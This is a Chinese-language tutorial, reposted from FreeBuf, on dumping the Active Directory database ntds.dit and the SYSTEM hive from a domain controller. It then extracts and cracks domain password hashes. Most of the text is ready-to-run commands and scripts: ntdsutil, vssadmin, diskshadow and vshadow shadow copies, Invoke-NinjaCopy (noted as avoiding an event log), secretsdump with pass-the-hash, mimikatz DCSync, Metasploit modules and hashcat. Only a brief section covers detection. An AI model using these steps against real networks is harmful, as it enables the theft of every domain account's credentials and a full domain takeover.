域控安全之ntds.dit导出
2023-1-11 09:33:10 Author: www.freebuf.com(查看原文) 阅读量:7 收藏

在通常的情况下,即使我们拥有域管理员的权限也是无法读取域控制器的C:\Windows\NTDS\ntds.dit文件,是因为活动目录始终访问着这个文件,所以禁止读取.使用windows的本地卷影拷贝就可以获得文件的副本

什么是卷影拷贝:卷影拷贝服务(Volume Shadow Copy Service,VSS)是Microsoft在Windows XP中开始引入的服务,但到了Windows Server 2003作为一个备份服务器功能独立出来,它能让用户在没有IT专业人员协助的情况下,更轻松地恢复丢失的文件。

Ntds.dit

什么是ntds.dit

在活动目录中,所有的数据都保存在ntds.dit中,ntds.dit是一个二进制文件,存储位置为域控制器的%SystemRoot%\ntds\ntds.dit。ntds.dit中包含(但不限于)用户名、散列值、组、GPP、OU等与活动目录相关的信息。而在非域环境也就是在工作组环境中,用户的密码等信息存储在SAM文件,想要破解SAM文件与Ntds.dit文件都需要拥有一个System文件。它和sam一样,是被Windows操作系统锁定的

如何利用:

在一般的情况下,系统的运维人员会利用卷影拷贝服务实验这些操作. VSS本质上属于快照技术的一种,主要用于备份和恢复(即使目标处于锁定的状态)

位置

ntds.dit文件位置: `C:\Windows\NTDS\NTDS.dit`
system文件位置:`C:\Windows\System32\config\SYSTEM`
sam文件位置:`C:\Windows\System32\config\SAM`

ntds.dit一般存储域用户的信息,sam是本机的,然后system里面存放了密钥,如果sam,ntds.dit要破解就需要system

image-20211017210302515

通过ntdsutil.exe 提取 ntds.dit

ntdsutil.exe是一个位活动目录(AD)提供管理机制的命令行工具。该工具默认安装在了域控制器上面,可以在域控制器上面直接操作,也可以通过域内机器在域控制器上远程操作.

支持的系统:windows server 2003 ,windows server 2008, windows server 2012。

1.创建一个快照

ntdsutil snapshot "activate instance ntds" create quit quit

该快照包含Windows中的所有文件,且在复制时不会受到Windows锁定机制的影响,需要管理员权限去执行

image-20211015171201418

可以看到这边创建了一个GUID{06a1b343-93f9-4c1b-a613-d02c23f99759}

2.加载快照

ntdsutil snapshot "mount {06a1b343-93f9-4c1b-a613-d02c23f99759}" quit quit   //这个后面的就是刚创建的ID

image-20211015171607389

可以看到快照已经加载到了

路径: C:\$SNAP_202110151711_VOLUMEC$\

查看一下

image-20211015171816728

确实存在了

3.拷贝快照

copy C:\$SNAP_202110151711_VOLUMEC$\windows\ntds\ntds.dit c:\windows\temp\ntds.dit

image-20211015172046097

4.卸载删除快照

ntdsutil snapshot "unmount {06a1b343-93f9-4c1b-a613-d02c23f99759}" "delete {06a1b343-93f9-4c1b-a613-d02c23f99759}" quit quit
ntdsutil snapshot "mount <ID>" "delete <ID>" quit quit

image-20211015172756816

5.查看一下快照

ntdsutil snapshot "List All" quit quit

image-20211015173520407

使用 ntdsutil 的 IFM卷影拷贝提取Ntds.dit文件

通过上一个命令执行来实现创建快照,加载,拷贝,最后提去出来ntds.dit 同时也可以通过创建一个IFM,在使用ntdsutil创建IFM时,需要进行生成快照、加载、将{% label [email protected] 和计算机的SAM文件复制到目标文件夹中等 %}操作

1.执行创建IFM

域控制器中执行如下命令即可(需要域管理员权限,没有的会让其弹出UAC):

ntdsutil "ac i ntds" "ifm" "create full c:/test" q q 

image-20211017192759465

然后就会在c盘下的/test/Active Directory 会出现ntds.dit

image-20211017192909004

同时test/registry也会出现system security文件

image-20211017193004852

2.移动ntds.dit文件

copy "c:\test\Active Directory\ntds.dit" c:\

image-20211017193606706

Copy-VSS.ps1

或者可以导入nishang中的Copy-VSS.ps1

Import-Module .\Copy-VSS.ps1

Copy-VSS
或者指定目录
Copy-VSS -DestinationDir C:\

image-20211017194014368

这个脚本直接就在当前目录生成了。

PowerSploit中的Invoke-NinjaCopy脚本

下载地址

复制一些系统无法复制的文件,如sam文件( 管理员权限 )

命令使用

Invoke-NinjaCopy -Path <需要复制的文件> -LocalDestination <复制文件保存位置>

现在尝试复制出来ntds.dit ,system文件

Import-Module .\Invoke-NinjaCopy.ps1
Invoke-NinjaCopy -Path "C:\windows\ntds\ntds.dit" -LocalDestination "C:\ntds.dit"
Invoke-NinjaCopy -Path "C:\Windows\System32\config\SYSTEM" -LocalDestination "C:\system.hive"

image-20211017213203032

这种方法没有调用Volume Shadow Copy服务,所以不会产生日志文件7036(卷影拷贝服务进入运行状态的标志)。

通过vssadmin提取ntds.dit

vssadminn是Windows Server 2008及 Windows 7提供的VSS管理工具,可用于创建和删除卷影拷贝、列出卷影拷贝的信息(只能管理系统Provider 创建的卷影拷贝)、显示已安装的所有卷影拷贝写入程序( writers )和提供程序( providers ),以及改变卷影拷贝的存储空间(即所谓的“diff空间”)的大小等

image-20211015174443626

操作vssadmin需要域管理员权限

1.创建一个C盘的卷影拷贝

vssadmin create shadow /for=c:

image-20211015174856686

2.将创建的卷影拷贝中的ntds.dit复制出来到c盘

copy 卷影副本卷名\windows\ntds\ntds.dit c:\ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy4\windows\ntds\ntds.dit c:\ntds.dit

image-20211015175126153

3.删除卷影

vssadmin delete shadows /for=c: /quiet

image-20211015175155805

拓展访问快照中的文件

访问快照中的文件

vssadmin list shadows  //查看快照

当我们无法直接访问\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5中的文件

image-20211017215202260

可通过创建符号链接访问快照中的文件:

mklink /d c:\testvsc \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5\

image-20211017215457026

删除符号链接:

rd c:\testvsc

利用思路:

如果当前系统存在快照文件,可对系统的历史文件进行访问。

通过vssown.vbs脚本

vssown.vbs脚本的功能和vssadmin类似。vssown.vbs脚本是由Tim Tomes 开发的,可用于创建和删除卷影拷贝,以及启动和停止卷影拷贝服务。

脚本下载:https://github.com/lanmaster53/ptscripts/blob/master/windows/vssown.vbs

需要域管理员权限操作

1.启动卷影拷贝服务

cscript vssown.vbs /start

image-20211015180036057

cscript命令专用于执行要在命令行环境中运行的脚本

2.创建一个C盘的卷影拷贝

cscript vssown.vbs /create c

image-20211015180153831

执行命令列出当前已经创建的卷影拷贝:

cscript vssown.vbs /list

image-20211015180349109

主要关注ID和Device object,这是把ntds.dit复制出来和删除的关键

ID:{DF222F60-F8F3-459E-ABF9-399519FAD8B4}
存储位置:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5

3.在创建的卷影拷贝中将ntds.dit复制到C盘中

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5\windows\NTDS\ntds.dit C:\ntds.dit

image-20211015180633940

4.得到Ntds.dit的副本之后,将刚刚创建的卷影拷贝删除

cscript vssown.vbs /delete {DF222F60-F8F3-459E-ABF9-399519FAD8B4}

image-20211015180741463

使用diskshadow导出ntds.dit

diskshadow.exe这款工具可以使用卷影拷贝服务(VSS)所提供的多个功能。在默认配置下,diskshadow.exe使用了一种交互式命令解释器,Windows Server 2008Windows Server 2012Windows Server 2016都默认包含diskshadow,所以,diskshadow 也可以用来操作卷影拷贝服务并导出ntds.dit,diskshadow的功能与vshadow类似,且同样位于C:\windows\system32\ 目录下。

diskshadow有交互和非交互两种模式。在使用交互模式时,需要登录远程桌面的图形化管理界面。不论是交互模式还是非交互模式,都可以使用exec调取一个脚本文件来执行相关命令,还可以使用 diskshadow.exe 来执行计算器。

diskshadow.exe 来执行计算器

1、通过echo创建文件

echo exec c:\windows\system32\calc.exe > c:\users\liukaifeng01\Desktop\cmd.txt

把执行计算机的命令写进去

image-20211017195405153

2.使用diskshadow.exe执行创建的文件

diskshadow.exe /s c:\command.txt

image-20211017204814858

diskshadow.exe 导出ntds.dit

将一下命令复制到一个txt文件里面

#设置卷影拷贝
set context persistent nowriters
#添加卷
add volume c: alias someAlias
#创建快照
create
#分配虚拟磁盘盘符
expose %someAlias% k:
#复制ntds.dit到C:\ntds.dit
exec "cmd.exe" /c copy k:\windows\ntds\ntds.dit c:\ntds.dit
#删除所有快照
delete shadows all
#列出系统中的卷影拷贝
list shadows all
#重置
reset
#退出
exit

image-20211017205814593

diskshadow.exe 导出ntds.dit的时候最好把路径选择在system32去执行,不然会报错

image-20211017205857375

监控卷影拷贝服务的使用情况

通过监控卷影拷贝服务的使用情况,可以及时发现攻击者在系统中进行的一些恶意操作。

  • 监控卷影拷贝服务及任何涉及活动目录数据库文件(ntds.dit)的可疑操作行为。

  • 监控 System Event ID 7036(卷影拷贝服务进行运行状态的标志)的可疑事例,以及创建 vssvc.exe 进程的事件。

  • 监控创建 diskshadow.exe 及相关子进程的事件。

  • 监控客户端设备中的 diskshadow.exe 实例创建事件。除非业务需要,在Windows操作系统中不应该出现 diskshadow.exe。如果发现,应立刻将其删除。

  • 通过日志监控新出现的逻辑驱动器映射事件。

调用Volume Shadow Copy(卷影拷贝)服务会产生日志文件,位于System下,Event ID为7036

注意在执行ntdsutil的时候事件日志会产生Event ID为98的日志文件

ntdsutil snapshot "activate instance ntds" create quit quit

image-20211017214752494

在我们前面导出ntds.dit之后我们还需要导出system的文件,将system.hive转储,因为system.hive中存放着ntds.dit的密钥。

在前面的方法中已经有了copy-vss还有PowerSploit中的Invoke-NinjaCopy的方法

1.通过注册表的方式导出

reg save hklm\system c:\system.hive

image-20211018104811278

2.copy-VSS

详细见上面

3.invoke-ninjacopy

详细见上面

取出了ntds.dit,但是不去导出散列值那么获取了也是没有意义。

Esedbexport

1.利用Esedbexport恢复ntds.dit并导出用户表信息

利用这个工具的目的就是从目标系统中导出ntds.dit放到本地中去解析

首先下载链接:https://github.com/libyal/libesedb/releases/tag/20210424

apt-get install autoconf automake autopoint libtool pkg-config  //安装依赖环境
剩下的都是编译下载安装
wget https://github.com/libyal/libesedb/releases/tag/20210424/libesedb-experimental-20210424.tar.gz

cd libesedb-experimental-20210424
./configure
make && make install && ldconfig

安装成功后就会在以下目录看到存在

image-20211018110739456

然后我们进入存档ntds.dit的目录,使用esedbexport进行恢复操作

esedbexport -m tables ntds.dit

如果提取成功的话,会在当前目录下生成一个ntds.dit.export文件夹。

image-20211018111121336

只需要其中的datatable.3和link_table.5即可

2.导出域散列值

这边利用的是ntdsxtract工具去导出,该工具不仅能够提取与用户对象、组对象、计算机对象相关的信息,同时还能从NTDS.dit文件中删除对象。

git clone https://github.com/csababarta/ntdsxtract.git

继续输入如下命令,安装ntdsxtract。

python setup.py build && python setup.py install

将导出的datatable.3、link_table.5这两个表和之前获得的SYSTEM文件一并放入ntdsxtract的文件夹中

输入如下命令。

dsusers.py <datatable> <link_table> <output_dir> --syshive <systemhive> --passwordhashes <format options>      // 命令格式

python dsusers.py datatable.3 link_table.5 output --syshive SYSTEM --passwordhashes --pwdformat ocl --ntoutfile ntout --lmoutfile lmout | tee result.txt   //注意大小写,我复制进去的SYSTEM是大写的

image-20211018112258171

或者导出csv格式也可以,还具有一个“dscomputers.py”工具可以从分离出来的表中提取域中计算机信息

python dscomputers.py ntds.dit.export/datatable.3 computer_output --csvoutfile result.csv

image-20211018114506209

当然有了散列值之后那么获取密码就可以通过破解去,常见mimikatz获取明文密码,ophcrack在线破解,hashcat等

就拿ntlm hash来举例子去破解

liukaifeng01:afffeba176210fad4628f0524bfe1942  //这是刚才导出的hash值

打开hashcat

hashcat -m 1000 afffeba176210fad4628f0524bfe1942 3.txt --force  //-m 就是ntlm hash的破解参数

image-20211018113859905

成功破解出来

secretsdump

1.使用Impacket中的secretsdump

secretsdump.py有一个本地选项,可以解析Ntds.dit文件并从Ntds.dit中提取哈希散列值和域信息。在此之前,我们必须获取到Ntds.dit和SYSTEM这两个文件。如果条件满足,你可以执行以下命令:

python2 secretsdump.py -system system -ntds ntds.dit LOCAL

首先下载impacket工具包

git clone https://github.com/SecureAuthCorp/impacket.git

然后安装

python setup.py install

开始提取

image-20211018115225265

也可以直接通过用户名和散列值进行验证,从远程域控制器中读取ntds.dit并转储域散列值,命令如下。

python2 secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:afffeba176210fad4628f0524bfe1942 -just-dc god.org/[email protected]

image-20211018125628020

在线提取Ntds.dit中的哈希

1.利用dcsync获取域散列值

DCSync是Mimikatz在2015年添加的一个功能,由Benjamin DELPY gentilkiwi和Vincent LE TOUX共同编写,其能够利用卷影拷贝服务直接读取ndts.dit并导出域内所有用户的哈希值。需要管理员权限.

打开mimikatz(管理员权限)

lsadump::dcsync /domain:god.org /all /csv

image-20211018130208043

当然也可以指定用户

lsadump::dcsync /domain:god.org /user:ligang

image-20211018130321583

或者直接对lsass的进程导出

privilege::debug

lsadump::lsa /inject

image-20211018130613197

2.使用powershell的DCSync脚本导出

下载地址:https://gist.github.com/monoxgas/9d238accd969550136db

该脚本通过Invoke-ReflectivePEinjection调用mimikatz.dll中的dcsync功能,并利用dcsync直接读取ntds.dit得到域用户密码散列值。

Import-Module .\Invoke-DCSync.ps1
Invoke-DCSync -DumpForest | ft -wrap -autosize    // 导出域内所有用户的hash
Invoke-DCSync -DumpForest -Users @("administrator") | ft -wrap -autosize      // 导出域内administrator账户的hash

image-20211018131458932

3.使用 Metasploit 获取域散列值*

前提已经获取到了一个会话

post/windows/gather/ntds_location       该模块可查看路径ntds

post/windows/gather/smart_hashdump      在线导出域账户hash  建议2012及以上使用auxiliary/admin/smb/psexec_ntdsgrab     利用域管账户,导出ntds必要文件到本地

post/windows/gather/ntds_grabber        利用powershell将ntds必要文件下载到本地后导出

拿到会话之后

1.查看ntds安装路径

run windows/gather/ntds_location

image-20211018135543461

2.通过smart_hashdump查看域内散列值

run windows/gather/smart_hashdump

image-20211018135645755

3.利用powershell下载ntds.dit

use post/windows/gather/ntds_grabber

set session 3

run

image-20211018135826133

/root/.msf4/loot/20211018135814_default_192.168.100.130_CabinetFile_222548.cab

上面这个是生成的路径,复制出来查看

cp /root/.msf4/loot/20211018135814_default_192.168.100.130_CabinetFile_222548.cab /tmp

image-20211018140236031

打开就能看到了

使用这个模块这可以获取到

use auxiliary/admin/smb/psexec_ntdsgrab

image-20211018140657367

因为我复现失败,没找到具体原因就不放截图。

使用vsshadow.exe 和 QuarkPwDump.exe 导出域账号和散列值

在正常的域环境中,ntds.dit文件里包含大量的信息,体积较大,不方便保存到本地。如果域控制器上没有安装杀毒软件,攻击者就能直接进入域控制器,导出ntds.dit并获得域账号和域散列值,而不需要将ntds.dit保存到本地。

下载地址:https://github.com/redcanari/quarkspwdump/releases/download/0.3a/QuarksPwDump-0.3a.zip

vshadow.exe

现在官方不提供 vshadow.exe 的直接下载了,可以安装官方 JDK,在安装目录下可以找到 vshadow.exe,这里要注意操作系统的版本,特别是 xp 和 server 2003。 下载链接: https://www.msxfaq.de/tools/mswin/vshadow.htm

其实对这个SDK很有疑惑,说安装Microsoft .NET Framework 就有SDK,然后再命令行执行也没有结果,网上找了半天也发现下载的地址,于是去公众号搜索,真就有大佬写了这个过程(https://mp.weixin.qq.com/s/ABPg8NFugBqleO6v6k9LSA)

image-20211018151102136

把这三个放在一个文件夹下面

image-20211018155701494

创建ShadowCopy.bat

setlocal
if NOT "%CALLBACK_SCRIPT%"=="" goto :IS_CALLBACK
set SOURCE_DRIVE_LETTER=%SystemDrive%
set SOURCE_RELATIVE_PATH=\windows\ntds\ntds.dit
set DESTINATION_PATH=%~dp0
@echo ...Determine the scripts to be executed/generated...
set CALLBACK_SCRIPT=%~dpnx0
set TEMP_GENERATED_SCRIPT=GeneratedVarsTempScript.cmd
echo mkdir C:\Temp > GeneratedVarsTempScript.cmd
@echo ...Creating the shadow copy...
"%~dp0vshadow.exe" -script=%TEMP_GENERATED_SCRIPT% -exec="%CALLBACK_SCRIPT%" %SOURCE_DRIVE_LETTER%
del /f %TEMP_GENERATED_SCRIPT%
@goto :EOF
:IS_CALLBACK
setlocal
@echo ...Obtaining the shadow copy device name...
call %TEMP_GENERATED_SCRIPT%
@echo ...Copying from the shadow copy to the destination path...
copy "%SHADOW_DEVICE_1%\%SOURCE_RELATIVE_PATH%" %DESTINATION_PATH%

当我运行脚本的时候出现这个问题,是因为权限不够

image-20211018154549557

以管理员权限运行

image-20211018155811533

换一个脚本,可以读取ntds.dit和system.hive

setlocal
if NOT "%CALLBACK_SCRIPT%"=="" goto :IS_CALLBACK
set SOURCE_DRIVE_LETTER=%SystemDrive%
set SOURCE_RELATIVE_PATH=windows\ntds\ntds.dit
set DESTINATION_PATH=%~dp0
@echo ...Determine the scripts to be executed/generated...
set CALLBACK_SCRIPT=%~dpnx0
set TEMP_GENERATED_SCRIPT=GeneratedVarsTempScript.cmd
@echo ...Creating the shadow copy...
"%~dp0vshadow.exe" -script=%TEMP_GENERATED_SCRIPT% -exec="%CALLBACK_SCRIPT%" %SOURCE_DRIVE_LETTER%
del /f %TEMP_GENERATED_SCRIPT%
@goto :EOF
:IS_CALLBACK
setlocal
@echo ...Obtaining the shadow copy device name...
call %TEMP_GENERATED_SCRIPT%
@echo ...Copying from the shadow copy to the destination path...
copy "%SHADOW_DEVICE_1%\%SOURCE_RELATIVE_PATH%" %DESTINATION_PATH%
reg save hklm\system system.hive

image-20211018160044958

运行如下命令修复复制出来的数据库。

esentutl /p /o ntds.dit

image-20211018160134604

最后再导出来

QuarksPwDump.exe -dhd -sf system.hive -nt ntds.dit -o log.txt

image-20211018160855293

参考链接:

https://xie1997.blog.csdn.net/article/details/104227572

https://www.freebuf.com/articles/network/251267.html

https://mp.weixin.qq.com/s/EWruvHJ8p54UUWTdbCzefA

https://xz.aliyun.com/t/2187#toc-5

https://mp.weixin.qq.com/s/ABPg8NFugBqleO6v6k9LSA


文章来源: https://www.freebuf.com/articles/web/354870.html
如有侵权请联系:admin#unsafe.sh